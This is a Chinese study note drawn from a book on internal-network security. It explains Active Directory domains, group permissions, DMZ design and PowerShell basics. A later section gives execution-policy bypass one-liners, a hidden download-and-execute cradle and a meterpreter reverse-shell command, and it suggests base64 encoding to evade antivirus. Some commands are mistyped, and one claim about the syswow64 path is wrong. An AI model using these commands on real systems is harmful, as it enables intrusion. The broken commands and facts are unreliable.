本文来自《内网安全攻防》
前言:内网也指局域网(Local Area Network, LAN),是指在某一区域内由多台计算机互连而成的计算机组,组网范围通常在数千米以内。在局域网中,可以实现文件管理、应用软件共享、打印机共享、工作组内的日程安排电子邮件和传真通信服务等。内网是封闭的,可以由办公室内的两台计算机组成,也可以由一个公司内的大量计算机组成。
内网基础知识
工作组
在一个大型单位里,可能由成百上千台计算机互相连接成局域网,它们都会列在”网络”(网上邻居)内。如果不对这些计算机进行分组,网络的混乱程度是可想而知的。
为了解决这一问题,产生了工作组(Work Group)这个概念。将不同的计算机按功能(或部门)分别列入不同的工作组,例如技术部的计算机都列入”技术部”工作组、行政部的计算机都列入”行政部”工作组。想要访问某个部门的资源,只要在”网络”里双击该部门的工作组名,就可以看到该部门的所有计算机了。相比不分组的情况,这样的情况有序得多(尤其对大型局域网来说)。处在同一交换机下的”技术部”工作组和”行政部”工作组,如图:
加入/创建工作组的方法很简单。右击桌面上的”计算机”图标,在弹出的快捷菜单中选择”属性”选项,然后依次单击”更改设置”和”更改按钮”,在”计算机名”输入框中输入计算机的名称,在”工作组”输入框中输入想要加入的工作组的名称,如图:
如果输入的工作组的名称在网络中不存在,就相当于新建了一个工作组。单击”确定”按钮,Windows会提示需要重新启动。在重新启动之后进入”网络”,就可以看到所加入的工作组成员了。当然,也可以退出工作组(只要修改工作组名称即可)。
这时在网络中,别人可以访问我们的共享资源,我们也可以加入同一网络中的任何工作组。工作组就像一个可以自由进入和退出的社团,方便同组的计算机互相访问。工作组没有集中管理作用,工作组里的所有计算机都是对等的(没有服务器和客户机之分)。
域
假设由这样的应用场景:一个公司有200台计算机,我们需要让每台计算机都可以用同一个账户Alan来登录,那么我们就需要在这200台计算机上都创建一个Alan账户,而当Alan更改密码的话,又要在这200台计算机上修改。那么更多的计算机呢?这会让管理员”抓狂”。所以便有了域。
域(Domain)是一个有安全边界的计算机集合(安全边界的意思是,在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单地把域理解成升级版的工作组。与工作组相比,域的安全管理控制机制更加严格。用户想要访问域内的资源,必须以合法的身份登录域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份。
域控制器(Domain Controller, DC)是域中的一台类似管理服务器的计算机,我们可以形象地将它理解为一个单位的门禁系统。域控制器负责所有连入的计算机和用户的验证工作。域内的计算机如果想互相访问,都要经过域控制器的审核。
域控制器中存在由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当计算器连接到域时,域控制器首先要鉴别这台计算机是否属于这个域,以及用户使用的登录账户是否存在、密码是否正确。如果以上信息有一项不正确,域控制器就会拒绝这个用户通过这台计算机登录。如果用户不能登录,就不能访问服务器中的资源。
域控制器是整个域的通信枢纽,所有的权限身份验证都在域控制器上进行,也就是说,域内所有用来验证身份的账户和密码散列值都保存在域控制器中。
域中一般有如下几个环境:
-
单域
通常,在一个地理位置固定的小公司里,建立一个域就可以满足需求。在一个域内,一般要有至少两台域服务器,一台作为DC,另一台作为备份DC。活动目录的数据库(包括用户的账户信息)是存储在DC中的,如果没有备份DC,一旦DC瘫痪了,域内的其他用户就不能登录该域了。如果有一台备份DC,至少该域还能正常使用(把瘫痪的DC恢复即可)。
-
父域和子域
出于管理及其他需求,需要在网络中划分多个域。第一个域称为父域,各分部的域称为该域的子域。例如,一个大公司的各个分公司位于不同的地点,就需要使用父域及子域。如果把不同地点的分公司放在同一个域内,那么它们之间在信息交互(包括同步、复制等)上花费的时间就会比较长,占用的宽带也会比较大(在同一个域内,信息交互 的条目是很多的,而且不会压缩;在不同的域之间,信息交互相对较少,而且可以压缩)。这样处理有一个好处,就是分公司可以通过自己的域来管理自己的资源。还有一种情况是出于安全策略(包括账户密码策略等),那么可以将财务部作为一个子域来单独管理。
-
域树
域树(Tree)是多个域通过建立信任关系组成的集合。一个域管理员只能管理本域,不能访问或者管理其他域。如果两个域之间需要相互访问,则需要建立信任关系(Trust Relation)。信任关系是连接不同域的桥梁。域树内的父域与子域,不但可以按照需要相互管理,还可以跨网络分配文件和打印机等设备及资源,从而在不同的域之间实现网络资源的共享与管理、通信及数据传输。
在一个域树中,父域可以包含多个子域。子域是相对父域来说的,指的是域名中的每一个段。各个子域之间用
.
来隔开,一个.
代表一个层次。放在域名最后的子域称为最高子域或一级域,它前面的子域称为二级域。例如,域asia.abc.com
的级别比域abc.com
低(域asia.abc.com
有两个层次,而域abc.com
只有一个层次)。再如,域cn.asia.abc.com
的级别域比域asia.abc.com
低。可以看出,子域只能使用父域的名字作为其域名的后缀,也就是说,在一个域树中,域的名字是连续的,如图:
-
域森林
域森林(Forest)是指多个域树通过建立信任关系组成的集合。例如,在一个分公司兼并场景中,某公司使用域树
abc.com
,被兼并的公司本来有自己的域树abc.net
(或者在需要为被兼并公司建立具有自己特色的域树时),域树abc.net
无法挂在域树下。所以,域树abc.com
与域树abc.net
之间需要建立信任关系来构成域森林。通过域树之间的信任关系,可以管理和使用整个域森林中的资源,并保留被兼并公司自身原有的特性,如图: -
域名服务器
域名服务器(Domain Name Server, DNS)是指用于实现域名(Domain Name)和与之相对应的IP地址(IP Address)转换的服务器。从对域树的介绍中可以看出,域树中的域名和DNS域名非常相似。而实际上,因为域中的计算机是使用DNS来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS域的名字。在内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器的位置的(DNS服务器和域控制器通常配置在同一台机器上)。
活动目录
活动目录(Active Directory, AD)是指域环境中提供目录服务的组件。
目录用于存储有关网络对象(例如:用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是指帮助用户快速、准确地从目录中找到所需的信息的服务。活动目录实现了目录服务,为企业提供了网络环境的集中管理机制。
在活动目录中,管理员不需要考虑被管理对象的地理位置,只需要按照一定的方式将这些对象放置在不同的容器中。这种不考虑被管理对象的具体地理位置的组织框架称为逻辑结构。
活动目录的逻辑结构包括前面讲过的组织单元(OU)、域、域树、域森林。域树内的所有域共享一个活动目录,这个活动目录内的数据分散存储在各个域中,且每个域只存储该域内的数据。
组织单元(OU):局域网的域中,一个组织单元是把对象组织成逻辑管理组的容器,其中包括一个或多个对象,如用户账户、组、计算机、打印机等其他OU。
活动目录主要提供一下功能:
- 账号集中管理:所有账号均存储在服务器中,以便执行命令和重置密码等。
- 软件集中管理:统一推送软件、安装网络打印机等。
-
环境集中管理:统一客户端桌面,IE、TCP\IP协议等设置。
- 增强安全性:统一部署杀毒软件和病毒扫描任务、集中管理用户的计算机权限,统一制定用户密码策略等。可以监控网络,对资料进行统一管理。
- 更可靠,更短的宕机时间:例如,利用活动目录控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设置。网络更可靠,宕机时间更短。
活动目录是微软提供的统一管理基础平台,ISA、Exchange、SMS等都依赖这个平台。
域控制器和活动目录的区别
如果网络规模较大,就要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一个大仓库中,并将检索信息整理好,以便查找、管理和使用这些对象(资源)。这个拥有层次结构的数据库,就是活动目录数据库,简称AD库。
那么,我们应该把这个数据库放在那台计算机上呢?要实现域环境,其实就是要安装AD库。如果内网中的一台计算机上安装了AD,它就变成了DC(用于存储活动目录数据库的计算机)。回顾之前的例子:在域环境中,只需要在活动目录中创建Alan账户一次,就可以在200台计算机中的任意一台上使用该账户登录;如果要更改密码,也只需要在活动目录中改一次就可以。
安全域的划分
划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。这个网段内的计算机拥有相同的网络边界,并在网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略(NACL),从而对允许哪些IP地址访问此域、允许此域访问哪些IP地址和网段进行设置。这些措施,将使得网络风险最小化,当攻击发生时,可以尽可能地将威胁隔离,从而降低对域内计算机的影响。
一个典型的中小型内网的安全域划分,如图,一个虚线框表示一个安全域(也是网络的边界,一般分为DMZ和内网),通过硬件防火墙的不同端口实现隔离。
在一个用路由器连接的内网中,可以将网络划分为三个区域:安全级别最高的内网;安全级别中等的DMZ;安全级别最低的外网(Internet)。
DMZ称为隔离区,是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题而设立的一个非安全系统与安全系统之间的缓冲区。DMZ位于企业内部网络和外部网络之间。可以在DMZ中放置一些必须公开的服务器设施,例如企业web服务器、FTP服务器和论坛服务器等。DMZ是对外提供服务的区域,因此可以从外部访问。
在网络边界上一般会部署防火墙及入侵检测、入侵防御产品等。如果有web应用,还会设置WAF,从而更加有效地保护内网。攻击者如果要进入内网,首先要突破的就是这重重防御。
在配置一个拥有DMZ的网络时,通常需要定义如下访问控制策略,以实现其屏障功能:
- 内网可以访问外网:内网用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。
- 内网可以分为DMZ:此策略使内网用户可以使用或者管理DMZ中的服务器。
- 外网不能访问内网:这是防火墙的基本策略。内网中存储的是公司内部数据,显然,这些数据一般是不允许外网用户访问的(如果要访问,就要通过VPN的方式来进行)。
-
外网可以访问DMZ:因为DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,需要由防火墙来完成对外地址到服务器实际地址的转换。
- DMZ不能访问内网:如果不执行此策略,当攻击者攻陷DMZ时,内网将无法受到保护。
- DMZ不能访问外网:此策略也有例外。例如:在DMZ中放置了邮件服务器,就要允许访问外网,否则邮件服务器无法正常工作。
内网又分为办公区和核心区。
- 办公区:公司员工日常的工作区,一般会安装防病毒软件,主机入侵检测产品等。办公区一般能访问DMZ。如果运维人员也在办公区,那么部分主机也能访问核心数据区(很多大企业还会使用堡垒机来统一管理用户的登录行为)。攻击者如果想要进入内网,一般会使用鱼叉攻击,水坑攻击,当然还有社会工程学手段。办公区人员多而杂,变动也很频繁,在安全管理上可能存在诸多漏洞,是攻击者进入内网的重要途径之一。
- 核心区:存储企业最重要的数据、文档等信息资产,通过日志记录、安全审计等安全措施进行严密的保护,往往只有很少的主机能够访问。从外部是很难直接访问核心区的。一般来说,能过直接访问核心区的只有运维人员或IT部门的主管,所以,攻击者会重点关注这些用户信息(攻击者在内网进行横向移动攻击时,会优先查找这些主机)。
域中计算机的分类
在域结构的网络中,计算机的身份是不平等的,有域控制器、成员服务器、客户机、独立服务器四种类型。
域控制器
域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息。
在网络中,可以有多台计算机被配置为域控制器,以分担用户的登录、访问等操作。多个域控制器可以一起工作,自动备份用户账户和活动目录数据。这样,即使部分域控制器瘫痪,网络访问也不会受到影响,提高了网络的安全性和稳定性。
成员服务器
成员服务器是指安装了服务器操作系统并加入了域、但没有安装活动目录的计算机,其主要任务是提供网络资源。成员服务器的类型通常有文件服务器、应用服务器、数据库服务器、Web服务器、邮件服务器、防火墙、远程访问服务器、打印服务等。
客户机
域中的计算机可以是安装了其他操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域。这些计算机被称为域中的客户机。域用户账号通过域的安全验证后,即可访问网络中的各种资源。
独立服务器
独立服务器和域没有关系。如果服务器即不加入域,也不安装活动目录,就称其为独立服务器。独立服务器可以创建工作组、与网络中其他计算机共享资源,但不能使用活动目录提供的任何服务。
域控制器用于存放活动目录数据库,是域中必须要有的,而其他三种计算机则不是必须要有的。也就是说,最简单的域可以只包含一台计算机,这台计算机就是该域的域控制器。当然,域中各服务器的角色是可以改变的。例如,独立服务器即可以成为域控制器,也可以加入某个域成为成员服务器。
域内权限解读
组(Group)是用户账号的集合。通过向一组用户分配权限,就可以不必向每个用户分别配置权限。例如,管理员在日常工作中,不必为单个用户账号设置独特的访问权限,只需要将用户账号放到相应的安全组中。管理员通过配置安全组访问权限,就可以为所有加入安全组的用户账号配置同样的权限。使用安全组而不是单个的用户账号,可以大大简化网络的维护和管理工作。
域本地组
多域用户访问单域资源(访问同一个域),可以从任何域添加用户账号、通用组和全局组,但只能在其所在域内指派权限。域本地组不能嵌套在其他组中。域本地组主要用于授予本域内资源的访问权限。
全局组
单域用户访问多域资源(必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组。可以在域森林的任何域内指派权限。全局组可以嵌套在其他组中。
可以将某个全局组添加到同一个域的另一个全局组中,或者添加到其他域的通用组和域本地组中(不能添加到不同域的全局组中,全局组只能在创建它的域中添加用户和组)。虽然可以通过全局组授予用户访问任何域内资源的权限,但一般不直接用它来进行权限管理。
全局组和域本地组的关系,与域用户账号和本地账号的关系相似。域用户账号可以在全局使用,即在本域和其他关系的其他域中都可以使用,而本地账号只能在本机中使用。
通用组
通用组的成员来自域森林中任何域的用户账号、全局组和其他通用组,可以在该域森林的任何域中指派权限,可以嵌套在其他组中,非常适合在域森林内的跨域访问中使用。不过,通用组的成员不是保存在各自的域控制器中,而是保存在全局编录(GC)中的,任何变化都会导致全林复制。
全局编录通常用于存储一些不经常变化的信息。由于用户账号信息是经常变化的,建议不要直接将用户账号添加到通用组中,而要先将用户账号添加到全局组中,再把这些相对稳定的全局组添加到通用组中。
可以这样简单的记忆:域本地组来自全林,作用于本域;全局组来自本域,作用于全林;通用组来自全林,作用于全林。
A-G-DL-P 策略
A-G-DL-P 策略是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
- A 表示用户账号(Account)。
- G 表示全局组(Global Group)。
- U表示通用组(Universal Group)。
-
DL 表示域本地组(Domain Local Group)。
- P 表示资源权限(Permission,许可)。
按照A-G-DL-P 策略对用户进行组织和管理是非常容易的。在A-G-DL-P 策略形成以后需要给一个用户添加某个权限时,只要把这个用户添加到某个本地域组中就可以了。
在安装域控制器时,系统会自动生成一些组,称为内置组。内置组定义了一些常用的权限。通过将用户添加到内置组中,可以使用户获得相应的权限。
“Active Directory 用户和计算机” 控制台窗口的”Builtin” 和 “Users” 组织单元的组就是内置组,内置的域本地组在 “Builtin” 组织单元中,如图:
…..
重要的域本地组权限:
- 管理员组(Administrators)的成员可以不受限制地存取计算机/域的资源。它不仅是最据权力的一个组,也是在活动目录和域控制器中默认具有管理员权限的组。该组的成员可以更改 Enterprise Admins、Schema Admins 和 Domain Admins 组的成员关系,是域森林中强大的服务管理组。
- 远程登录组(Remote Desktop Users)的成员具有远程登录权限。
- 打印机操作员组(Print Operators)的成员可以管理网络打印机,包括建立、管理及删除网络打印机,并可以在本地登录和关闭域控制器。
- 账号操作员组(Account Operators)的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组没有成员。
- 服务器操作员组(Server Operators)的成员可以管理域服务器,其权限包括建立/管理/删除任意服务器的共享目录、管理网络打印机、备份任何服务器的文件、格式化服务器硬盘、锁定服务器、变更服务器的系统时间、关闭域控制器等。在默认情况下,该组中没有成员。
- 备份操作员组(Backup Operators)的成员可以在域控制器中执行备份和还原操作,并可以在本地登录和关闭域控制器。在默认情况下,该组没有成员。
- 域管理员组(Domain Admins)的成员在所有加入域的服务器(工作站)、域控制器和活动目录中均默认拥有完整的管理员权限。因为该组会被添加到自己所在域的Administrators组中,因此可以继承Administrators组的所有权限。同时,该组默认会被添加到每台域成员计算机的本地 Administrators 组中,这样,Domain Admins 组就获得了域中所有计算机的所有权。如果希望某用户成为域系统管理员,建议将该用户添加到Domain Admins组中,而不要直接将该用户添加到Administrators组中。
- 企业系统管理员组(Enterprise Admins)是域森林根域中的一个组。该组在域森林中的每个域内都是Administrators组的成员,因此对所有域控制器都有完全访问权。
- 架构管理员组(Schema Admins)是域森林根域中的一个组,可以修改活动目录和域森林的模式。该组是为活动目录和域控制器提供完整权限的域用户组,因此,该组成员的资格是非常重要的。
- 域用户组(Domain Users)中是所有的域成员。在默认情况下,任何由我们建立的用户账号都属于Domain Users组,而任何由我们建立的计算机账号都属于Domain Computers组。因此,如果想让所有的账号都获得某种资源存取权限,可以将该权限指定给域用户组,或则让域用户组属于具有该权限的组。域用户组默认是内置域Users组的成员。
Windows PowerShell 基础
Windows PowerShell是一种命令外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7, Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行的代码,就可以将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令行提示符cmd.exe的扩展。
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点:
- 在Windows7及以上版本的操作系统中是默认安装的。
- 脚本可以在内存中运行,不需要写入磁盘。
- 几乎不会触发杀毒软件。
- 可以远程执行。
- 目前很多工具都是基于PowerShell开发的。
- 使Windows脚本的执行变得更容易。
- cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止。
- 可用于管理活动目录。
Windows操作系统所对应的PowerShell版本,如图:
可以输入”Get-Host” 或 “$PSVersion Table.PSVERSION” 命令查看PowerShell的版本。
PowerShell 的基本概念
.ps1 文件
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为”.ps1”。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。
执行策略
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为”不能运行”。
如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。
Get-ExecutionPolicy
取得shell当前执行策略。- Restricted:脚本不能运行(默认设置)
- RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
- AllSigned:仅当脚本由受信任的发布者签名时才能运行。
- Unrestricted:允许所有脚本运行。
Set-ExecutionPolicy <policy name>
设置PowerShell的执行策略。
运行脚本
想要运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入C:\Scripts\a.ps1
。
一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如:.\a.ps1
)即可运行脚本。这与在Linux中执行shell脚本的方法是相同的。
管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用|
连接。
我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符P开头的程序停止运行。
get-process p* | stop-process
PowerShell 的常用命令
基本知识
在PowerShell下,类似cmd命令的命令叫作cmdlet命令。二者的命名规范一致,都采用”动词-名词”的形式,例如”New-ltem”。动词部分一般分为 Add, New, Get, Remove, Set等。命令的别名一般兼容Windows Command 和 Linux Shell,例如 Get-Childltem(获取子项目,意思为获取当前目录下的文件和子目录)命令在 dir 和 ls 下均可使用。另外,PowerShell命令不区分大小写。
下面以文件操作为例,讲解PowerShell命令的基本用法:
- 新键目录:
New-ltem whitecellclub-ltem Type Directory
。 - 新建文件:
New-ltem light.txt-ltemType File
。 - 删除目录:
Remove-ltem whitecellclub
。 - 显示文本内容:
Get-Content test.txt
。 - 设置文本内容:
Set-Content test.txt-Value "hello world!"
。 - 追加内容:
Add-Content light.txt-Value "i love you"
。 - 清除内容:
Clear-Content test.txt
。
常用命令
在Windows终端下输入”powershell”,进入PowerShell命令行环境。输入”help”命令即可显示帮助菜单。
想要运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。
1.绕过本地权限并执行
将 PowerUp.ps1 上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本:
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1
将同一脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下:
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
……
2.从网站服务器中下载脚本,绕过本地权限并隐藏执行:
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
最终的执行代码如下:
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("要上传的PowerUp.ps1脚本链接");
Invoke-Shellcode -Payload windows/meterpreter/reverse_https-Lhost 192.168.1.1 -Lport 80
常用参数说明:
- -ExecutionPolicy Bypass (-Exec Bypass):绕过执行安全策略。这个参数非常重要。在默认情况下,PowerShell的安全策略规定PowerShell不能运行命令和文件。
- -WindowStyle Hidden (-W Hidden):隐藏窗口。
- -NonInteractive (-NonI):非交互模式。PowerShell不为用户提供交互式的提示。
- -NoProfile (-Nop):PowerShell控制台不加载当前用户的配置文件。
- -noexit:执行后不退出shell。这个参数在使用键盘记录等脚本时非常重要。
- -NoLogo:启动不显示版权标志的PowerShell。
3.使用base64对PowerShell命令进行编码:
使用base64对PowerShell命令进行编码的目的时混淆和压缩代码,从而避免脚本因为一些特殊字符被杀毒软件查杀。
运行32位和64位PowerShell
一些PowerShell脚本只能运行在指定的平台上。例如,在64位的平台上,需要通过64位的PowerShell脚本来运行命令。
在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。它们不会相互影响,可以看出两个独立的程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\
目录下。
- 运行32位PowerShell脚本,命令如下:
PowerShell.exe -NoP -NonI -W Hidden -Exec Bypass
- 运行64位PowerShell脚本,命令如下:
%windir%\syswow64\WindowsPowerShell\v1.0\.exe -NoP -NonI -W Hidden -Exec Bypass
构建内网环境
搭建:自己去找吧。
搭建好后,查看域用户:(失败的话,6118)当然我失败了,呜呜呜。
net view /domain:hacke
或
net view
将每个计算机的防火墙的”启用或关闭Windows防火墙”中,把公用网络和专用网络都设置为”关闭防火墙”。(我不需要)
且开启Computer Browser服务并设置为自动。(i need)
若在服务中(cmd中输入 Services.msc),无法开启Computer Browser服务,去cmd中:(这个我的Windows server 2008)
sc config browser start= auto
sc start browser
win7 cmd:
net start Browser
好了,可以查看了。
终极方法:在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建一个“字符串值”,内容输入“C:\WINDOWS\system32\svchost.exe -k netsvcs” (computer browser 的路径) 代表开机自启这个服务。
为什么我的每个都不一样啊啊啊啊啊啊啊啊啊。